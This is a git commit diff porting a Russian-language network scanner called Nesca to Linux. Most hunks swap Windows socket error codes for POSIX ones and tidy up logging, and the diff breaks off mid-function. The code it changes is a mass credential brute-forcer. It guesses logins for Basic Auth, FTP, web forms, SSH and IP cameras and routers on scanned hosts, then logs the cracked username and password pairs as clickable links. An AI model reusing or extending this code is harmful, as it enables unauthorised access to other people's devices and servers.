Finally! x64 linux-nesca emerging!

This commit is contained in:
cora48 2015-02-27 16:55:35 +03:00
parent 6e98762d3e
commit a1d45ae5d9
18 changed files with 721 additions and 546 deletions

3
.gitignore vendored Normal file
View File

@ -0,0 +1,3 @@
*.swo
*.swp
debugData.txt

View File

@ -96,7 +96,6 @@ int KeyCheckerMain()
};
ZeroMemory(msg, sizeof(msg));
int ror = sizeof(msg);
test = recv(sock, msg, sizeof(msg), 0);
char buff[512] = {0};

View File

@ -29,7 +29,6 @@ void CheckProxyLogic()
strcpy(ircProxy, str2.toUtf8().data());
strcpy(ircProxyPort, str1.toUtf8().data());
int err, yes = 1;
SOCKET pSock;
char precvBuff[2048] = {0};
sockaddr_in addr;

View File

@ -12,7 +12,7 @@ void DrawerTh_VoiceScanner::doEmitDrawGrid(int factor)
void DrawerTh_VoiceScanner::doEmitDrawTextPlacers()
{
emit vsTh->sDrawTextPlacers();
};
}
void makeVoiceLine(int Al, int An, int Bd, int Sp, int Lo, int var, int Ovl, int WF, int SSH)
{

9
README.md Normal file
View File

@ -0,0 +1,9 @@
Nesca для Linux. Протестировано на Fedora 20 и РАБОТАЕТ(!)
<br>
```
Linux 3.18.6-100.fc20.x86_64 #1 SMP Fri Feb 6 22:55:01 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
```
1. libssh
2. openssl
3. весь qt-фреймворк (лол)

View File

@ -549,13 +549,11 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
char curLogin[256] = {0};
char curPass[256] = {0};
int cCode;
int cErrCode;
int dataSz = 0;
char request[REQUEST_MAX_SIZE] = {0};
char recvBuff[4096] = {0};
char recvBuff2[512] = {0};
char pass[256] = {0};
int WSAErr;
char localBuff[4096] = {0};
strcpy(localBuff, headerMsg);
@ -674,11 +672,11 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
if(cCode == SOCKET_ERROR) {
int errorCode = WSAGetLastError();
if(errorCode == 10038) {
if(errorCode == ENOTSOCK) {
while(errorCode == 10038)
while(errorCode == ENOTSOCK)
{
if(gDebugMode) stt->doEmitionDebugFoundData("[BA][10038] - [" + QString(ip) + ":" + QString::number(port) + "]");
if(gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]");
CSSOCKET(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
@ -688,7 +686,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
CSSOCKET(sock);
if(errorCode != 10060)
if(errorCode != ETIMEDOUT)
{
stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]");
};
@ -920,9 +918,9 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr));
while(WSAGetLastError() == 10038)
while(WSAGetLastError() == ENOTSOCK)
{
if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured - [" + QString(ip) + ":" + QString::number(port) + "]");
if(gDebugMode) stt->doEmitionDebugFoundData("[FTP][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]");
CSSOCKET(sockFTP);
sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr));
@ -1249,13 +1247,16 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
}
else
{
char err[128] = {0};
int WSAerr;
if(connectionResult == -1) WSAerr = WSAGetLastError();
else WSAerr = 10060;
else WSAerr = ETIMEDOUT;
if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0)
if(gThreads > 1
&& WSAerr != ETIMEDOUT/*Timeout*/
&& WSAerr != ENOBUFS/*POOLOVERFLOW*/
&& WSAerr != ECONNREFUSED/*WSAECONNREFUSED*/
&& WSAerr != ECONNRESET/*WSAECONNRESET*/
&& WSAerr != 0)
{
stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str()));
};
@ -1424,7 +1425,7 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
CSTR->size = 0;
return 0;
};
};
} else return -1;
}
else
{
@ -1523,8 +1524,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
if(iResult == SOCKET_ERROR)
{
iError = WSAGetLastError();
if(iError == 10035)
if(iError == EINPROGRESS)
{
fd_set read_fs;
FD_ZERO(&read_fs);
@ -1635,13 +1635,13 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
else
{
++offlines;
if(iError == 10055)
if(iError == ENOBUFS)
{
stt->doEmitionRedFoundData("[10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port));
stt->doEmitionRedFoundData("[ENOBUFS] Connection pool depleted " + QString(ip) + ":" + QString::number(port));
}
else if(iError == 10049)
else if(iError == EADDRNOTAVAIL)
{
stt->doEmitionRedFoundData("[10049] " + QString(ip) +
stt->doEmitionRedFoundData("[EADDRNOTAVAIL] " + QString(ip) +
":" + QString::number(port) +
" - " + QString::number(iError));
}
@ -1704,11 +1704,9 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
char b[16] = {0};
char request[2048] = {0};
char argData[256] = {0};
char recvBuffer[65536] = {0};
Connector con;
conSTR CSTR;
int cRes;
int firstCycle = 0;
if(strstri(methodVal, "get") != NULL)
{
@ -1721,7 +1719,6 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
if(globalScanFlag == false) break;
CSTR.lowerBuff = NULL;
CSTR.size = 0;
cRes = 0;
strcpy(request, "GET ");
strcat(request, actionVal);
@ -1748,8 +1745,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close");
strcat(request, "\r\n\r\n");
if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR);
else cRes = con._EstablishConnection(ip, port, request, &CSTR);
if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR);
else con._EstablishConnection(ip, port, request, &CSTR);
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
++passCounter;
@ -1848,7 +1845,6 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
if(globalScanFlag == false) break;
CSTR.lowerBuff = NULL;
CSTR.size = 0;
cRes = 0;
strcpy(argData, userVal);
strcat(argData, "=");
@ -1882,8 +1878,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
++passCounter;
if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR);
else cRes = con._EstablishConnection(ip, port, request, &CSTR);
if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR);
else con._EstablishConnection(ip, port, request, &CSTR);
if(CSTR.lowerBuff != NULL)
{
@ -2161,18 +2157,17 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
int cErrCode = WSAGetLastError();
while(cErrCode == 10038)
while(cErrCode == ENOTSOCK)
{
CSSOCKET(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
cErrCode = WSAGetLastError();
if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]");
if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]");
};
if(cCode != SOCKET_ERROR)
{
int x = 1;
Activity += strlen(request);
if(send(sock, request, strlen(request), 0) == SOCKET_ERROR)
@ -2637,6 +2632,7 @@ int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR)
{
return _EstablishSSHConnection(ip, port, CSTR, banner);
};
return -1;
}
int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
@ -2654,7 +2650,6 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
CSTR.lowerBuff = NULL;
CSTR.size = 0;
int strFlag = 0;
strcpy(mes, buff1);
strcat(mes, ip);
int port = atoi(portC);
@ -2689,5 +2684,5 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
delete []CSTR.lowerBuff;
CSTR.lowerBuff = NULL;
};
strFlag = 1;
return 0;
}

View File

@ -4,6 +4,13 @@
#define IRC_CHAN "iskopasi_lab03"
#define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket); Socket = -1;
#ifndef CP_UTF8
#define CP_UTF8 65001
#endif
#ifndef CP_ACP
#define CP_ACP 0
#endif
extern QJsonArray *jsonArr;
extern unsigned long long gTargetsOverall, Activity;

View File

@ -1,7 +1,7 @@
extern std::string toLowerStr(const char *str);
extern int recvS(int lSock, char *recvBuffT, int len, int mode);
extern int recvS(int lSock, char *recvBuffT, int len);
extern int sendS(int lSock, char *msg, int len, int mode);
extern void UserNickInit(SOCKET lSock);
extern void UserNickInit();
extern void GetNicks();
extern int startScan(char* argv);
extern void BConInc();

View File

@ -4,7 +4,7 @@
#include "externFunctions.h"
#include "externData.h"
char* __cdecl strstri(char *_Str, const char *_SubStr)
char* strstri(char *_Str, const char *_SubStr)
{
if(_Str != NULL)
{
@ -15,7 +15,8 @@ char* __cdecl strstri(char *_Str, const char *_SubStr)
if(offset < 0) return NULL;
else return (char*)(_Str + offset);
};
};
return 0;
}
bool gGlobalTrackLocked = false;
char *_findFirst(char *str, char *delim)
@ -31,7 +32,8 @@ char *_findFirst(char *str, char *delim)
};
return NULL;
};
}
char *_findLast(char *str, char *delim)
{
int sz = strlen(str);
@ -46,7 +48,8 @@ char *_findLast(char *str, char *delim)
};
return (char *)(str + savedPosition);
};
}
char *GetCodePage(char *str)
{
char cdpg[32] = {0};
@ -72,6 +75,7 @@ char *GetCodePage(char *str)
else
{
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
return "NULL";
};
}
else if(strstri((char *)(temp2 + strlen("<meta ")), "charset = ") != NULL)
@ -92,6 +96,7 @@ char *GetCodePage(char *str)
else
{
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
return "NULL";
};
}
else if(strstri((char *)(temp2 + strlen("<meta ")), "charset =") != NULL)
@ -112,6 +117,7 @@ char *GetCodePage(char *str)
else
{
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
return "NULL";
};
}
else
@ -134,6 +140,7 @@ char *GetCodePage(char *str)
else
{
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
return "NULL";
}
}
else
@ -160,13 +167,15 @@ char *GetCodePage(char *str)
else
{
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
return "NULL";
};
}
else
{
return "NULL";
};
};
}
int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port)
{
if(strlen(buffcpy) == 0) return -1;
@ -202,7 +211,8 @@ int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port)
ZeroMemory(negWord, 256);
};
return 0;
};
}
int globalSearchPrnt(char *buffcpy)
{
if(strstr(buffcpy, "en/_top.htm") != NULL || strstr(buffcpy, "cannon http server") != NULL
@ -224,7 +234,7 @@ int globalSearchPrnt(char *buffcpy)
};
return -1;
};
};
}
// 500 < 1600
Lexems lxf;
@ -276,7 +286,7 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL
&& strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL)
|| strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam
|| (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam
if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL
@ -314,7 +324,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
if(f) return 7;
return 0;
};
}
//> 1600
int _mainFinderSecond(char *buffcpy, int port, char *ip)
{
@ -360,7 +371,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL)
|| strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam
|| (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam
if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam
@ -401,7 +412,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if(globalSearchPrnt(buffcpy) == -1) return -1;
if(strstr(buffcpy, "<form ") != NULL && strstr(buffcpy, "302 found") == NULL) return 10;
return 3; //Suspicious
};
}
int ContentFilter(char *buff, int port, char *ip, char *cp)
{
@ -441,7 +452,8 @@ int ContentFilter(char *buff, int port, char *ip, char *cp)
return res;
}
else return -1;
};
}
void fillGlobalLogData(char *ip, char *hostname, char *port, const char *sz, char *title, char *login, char *pass, char *comment, char *cdpg, char *clss)
{
if(trackerOK == true)
@ -485,7 +497,8 @@ void fillGlobalLogData(char *ip, char *hostname, char *port, const char *sz, cha
gGlobalTrackLocked = false;
};
};
}
int __checkFileExistence(int flag)
{
char fileName[64] = {0};
@ -507,7 +520,7 @@ int __checkFileExistence(int flag)
fclose(f);
return false;
};
};
}
bool ftsAnom = true;
bool ftsOther = true;
@ -520,10 +533,10 @@ bool ftsLF = true;
bool fOpened = false;
char styleBuff[1024] = {"<style> #recvSpan{display: inline-block;width: 150px;} #hostSpan{display: inline-block;width: 200px;}body { background-color: #141414; font-family: monospace; font-size:95%;} #ipd{background:black;width:100%;white-space:nowrap;overflow-x:none;display:inline-block;}#ipd:hover{color: #909090;background:#202020;}#tit{text-align:center;border:1px solid #5d5d5d;}a{color: gray;text-decoration: underline;} a:focus{ outline-style: dashed;outline-width:1px; outline-color: red;}</style>"};
char topBuff[1024] = {"<div id=\"tit\"><a href=\"strange.html\">.strange</a> <a href=\"other.html\">.other</a> <a href=\"Basicauth.html\">.BasicAuth</a> <a href=\"FTP.html\">.FTP</a> <a href=\"low_loads.html\">.LowLoads</a> <a href=\"LoginForms.html\">.loginforms</a> <a href=\"SSH.html\">.SSH</a></div><br><br>"};
void fputsf(char *ip, char *port, char *text, int flag, char *msg)
void fputsf(char *text, int flag, char *msg)
{
FILE *file = NULL;
bool firstTimeYeah = false;
#pragma region FileExistenceCheck
if(flag == 0 || flag == 15 || flag == -10)
{
@ -566,7 +579,7 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg)
{
stt->doEmitionRedFoundData("[WUT!?] Unknown flag [FLAG: " + QString::number(flag) + "]");
};
#pragma endregion
if(file != NULL)
{
time_t rtime;
@ -687,7 +700,7 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg)
fputs (topBuff, file);
};
#pragma endregion
int innerCounter = 0;
while(fOpened)
{
@ -710,7 +723,8 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg)
{
stt->doEmitionRedFoundData("Cannot open file [FLAG: " + QString::number(flag) + "]");
};
};
}
void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *hl, char *cp)
{
char log[4096] = {0}, msg[512] = {0};
@ -759,9 +773,8 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h
strcat(msg, "</font>");
resMes += " <font color=\"#0084ff\">: </font><font color=\"#ff9600\">" + strf.toHtmlEscaped() + "</font>";
};
#pragma region QTGUI_Area
stt->doEmitionFoundData(resMes);
#pragma endregion
strcpy(log, "<font color=GreenYellow>");
@ -827,10 +840,11 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h
};
strcat(log, "\n");
fputsf (ip, port, log, flag, msg);
fputsf (log, flag, msg);
ZeroMemory(msg, strlen(msg));
};
}
void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag)
{
char log[512] = {0};
@ -860,11 +874,12 @@ void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login,
strcat(log, finalstr);
strcat(log, "</font>");
strcat(log, "\n");
#pragma region QTGUI_Area
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
#pragma endregion
fputsf (ip, port, log , flag, "Basic Authorization");
};
fputsf (log , flag, "Basic Authorization");
}
void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag)
{
char log[512] = {0};
@ -888,11 +903,12 @@ void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login,
strcat(log, pass);
strcat(log, "</font>");
strcat(log, "\n");
#pragma region QTGUI_Area
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
#pragma endregion
fputsf (ip, port, log , flag, "Web Form");
};
fputsf (log , flag, "Web Form");
}
void _getFormVal(char *data, char *result, char *key, char *path = NULL)
{
char parVal[256] = {0};
@ -907,6 +923,7 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL)
{
strncpy(parVal, data, 256);
};
int sz = 0;
char parVal2[256] = {0};
@ -923,7 +940,9 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL)
};
};
};
char *keyResult1 = strstri(parVal, key);
if(keyResult1 != NULL)
{
char *pkeyResult2 = _findFirst(keyResult1, " >");
@ -1018,7 +1037,7 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL)
stt->doEmitionFoundData("[WF]: GetParam - Cannot retrieve field.");
};
};
};
}
static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"};
std::vector<std::string> vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) );
@ -1045,7 +1064,8 @@ char *_getAttribute(char *str, char *attrib)
else return "";
}
else return "";
};
}
void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
{
char *pos = NULL;
@ -1084,7 +1104,8 @@ void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
};
};
};
};
}
void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title)
{
char cookie[1024] = {0};
@ -1256,9 +1277,9 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
};
};
isActive = 0;
};
}
void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *tclass, char *cp, int recd, char *SPEC)
void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC)
{
lopaStr lps;
ZeroMemory(lps.login, sizeof(lps.login));
@ -1275,8 +1296,9 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag,
fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
};
};
void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *data)
}
void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *cp, int recd, char *data)
{
isActive = 1;
lopaStr lps;
@ -1299,7 +1321,8 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int
};
ZeroMemory(temp, sizeof(temp));
};
}
const char *GetTitle(char* str)
{
char delimiterT[] = "<title id=titletext>";
@ -1413,12 +1436,12 @@ const char *GetTitle(char* str)
};
return finalstr;
};
}
void _saveSSH(char *ip, int port, int recd, char *buffcpy)
{
if(buffcpy != NULL)
{
char b[16] = {0};
char log[2048] = {0};
char logEmit[2048] = {0};
char goodStr[256] = {0};
@ -1433,7 +1456,7 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy)
char portString[16] = {0};
sprintf(portString, "%d", port);
sprintf(log, "[SSH] <font color=\"#00a8ff\"> %s:%d </font><font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\"> %s </font>", goodStr, port, banner);
sprintf(log, "[SSH] <span style=\"color: #00a8ff;\"> %s:%d </span>", goodStr, port, banner);
sprintf(logEmit, "[SSH] <span style=\"color: #00a8ff;\"> %s:%d </span>", goodStr, port);
// strcpy(log, "[SSH] <font color=\"#00a8ff\">");
// strcat(log, goodStr);
@ -1453,7 +1476,7 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy)
// strcat(logEmit, itoa(port, b, 10));
// strcat(logEmit, "</span>");
fputsf (ip, portString, log, -22, "SSH");
fputsf (log, -22, "SSH");
char loginSSH[128] = {0};
char passSSH[128] = {0};
char *ptrl1 = strstr(buffcpy, ":");
@ -1462,7 +1485,7 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy)
char *ptrl2 = strstr(buffcpy, "@");
lpsz = ptrl2 - ptrl1;
strncpy(passSSH, ptrl1 + 1, lpsz);
fillGlobalLogData(ip, "", itoa(port, b, 10), std::to_string(recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
fillGlobalLogData(ip, "", portString, std::to_string(recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
}
else
@ -1474,11 +1497,10 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy)
{
stt->doEmitionRedFoundData("[_saveSSH] Empty buffer! [" + QString(ip) + ":" + QString::number(port) + "]");
};
};
}
int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl)
{
char b[16] = {0};
if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1;
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL || strstr(buffcpy, "SSH-2.0-mod_sftp") != NULL)
{
@ -1564,260 +1586,272 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
char log[2048] = {0};
char logEmit[2048] = {0};
strcpy(logEmit, "[FTP]:");
strcpy(log, "[FTP]:<font color=\"#0f62e2\">");
strcat(log, ip);
strcat(log, ":");
strcat(log, port);
strcat(log, "</font>");
strcat(log, "; Received: ");
strncat(log, std::to_string(recd).c_str(), 100);
// strcpy(logEmit, "[FTP]:");
// strcpy(log, "[FTP]:<font color=\"#0f62e2\">");
// strcat(log, ip);
// strcat(log, ":");
// strcat(log, port);
// strcat(log, "</font>");
// strcat(log, "; Received: ");
// strncat(log, std::to_string(recd).c_str(), 100);
lps = con._FTPLobby(ip, p, &ps);
if(strstr(lps.other, "ROUTER") != NULL)
{
++PieBA;
strcat(log, "<a href=\"ftp://");
strcat(log, lps.login);
strcat(log, ":");
strcat(log, lps.pass);
strcat(log, "@");
strcat(log, ip);
strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://");
strcat(log, lps.login);
strcat(log, ":");
strcat(log, lps.pass);
strcat(log, "@");
strcat(log, ip);
strcat(log, "</span></a> <font color=\"#43EC00\"><a href=\"http://");
strcat(log, ip);
strcat(log, "\" style=\"color:#43EC00;\">[ROUTER]</a></font>");
strcat(log, ps.headr);
strcat(logEmit, "<a href=\"ftp://");
strcat(logEmit, lps.login);
strcat(logEmit, ":");
strcat(logEmit, lps.pass);
strcat(logEmit, "@");
strcat(logEmit, ip);
strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://");
strcat(logEmit, lps.login);
strcat(logEmit, ":");
strcat(logEmit, lps.pass);
strcat(logEmit, "@");
strcat(logEmit, ip);
strcat(logEmit, "</span></a> <font color=\"#43EC00\"><a href=\"http://");
strcat(logEmit, ip);
strcat(logEmit, "/\" style=\"color:#43EC00;\">[ROUTER]</a></font>");
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s\" style=\"color:#43EC00;\">[ROUTER]</a></font>%s",
ip, port, recd, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip, ps.headr);
sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s/\" style=\"color:#43EC00;\">[ROUTER]</a></font>",
lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip);
fputsf (ip, port, log, flag, "FTP");
// strcat(log, "<a href=\"ftp://");
// strcat(log, lps.login);
// strcat(log, ":");
// strcat(log, lps.pass);
// strcat(log, "@");
// strcat(log, ip);
// strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://");
// strcat(log, lps.login);
// strcat(log, ":");
// strcat(log, lps.pass);
// strcat(log, "@");
// strcat(log, ip);
// strcat(log, "</span></a> <font color=\"#43EC00\"><a href=\"http://");
// strcat(log, ip);
// strcat(log, "\" style=\"color:#43EC00;\">[ROUTER]</a></font>");
// strcat(log, ps.headr);
// strcat(logEmit, "<a href=\"ftp://");
// strcat(logEmit, lps.login);
// strcat(logEmit, ":");
// strcat(logEmit, lps.pass);
// strcat(logEmit, "@");
// strcat(logEmit, ip);
// strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://");
// strcat(logEmit, lps.login);
// strcat(logEmit, ":");
// strcat(logEmit, lps.pass);
// strcat(logEmit, "@");
// strcat(logEmit, ip);
// strcat(logEmit, "</span></a> <font color=\"#43EC00\"><a href=\"http://");
// strcat(logEmit, ip);
// strcat(logEmit, "/\" style=\"color:#43EC00;\">[ROUTER]</a></font>");
fputsf (log, flag, "FTP");
fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP");
#pragma region QTGUI_Area
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
#pragma endregion
}
else if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
{
++PieBA;
strcat(log, "<a href=\"ftp://");
strcat(log, lps.login);
strcat(log, ":");
strcat(log, lps.pass);
strcat(log, "@");
strcat(log, ip);
strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://");
strcat(log, lps.login);
strcat(log, ":");
strcat(log, lps.pass);
strcat(log, "@");
strcat(log, ip);
strcat(log, "</span></a>");
strcat(log, ps.headr);
strcat(logEmit, "<a href=\"ftp://");
strcat(logEmit, lps.login);
strcat(logEmit, ":");
strcat(logEmit, lps.pass);
strcat(logEmit, "@");
strcat(logEmit, ip);
strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://");
strcat(logEmit, lps.login);
strcat(logEmit, ":");
strcat(logEmit, lps.pass);
strcat(logEmit, "@");
strcat(logEmit, ip);
strcat(logEmit, "</span></a> (F:");
strcat(logEmit, std::to_string(ps.directoryCount).c_str());
strcat(logEmit, ")");
sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a>%s",
ip, port, recd, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.headr);
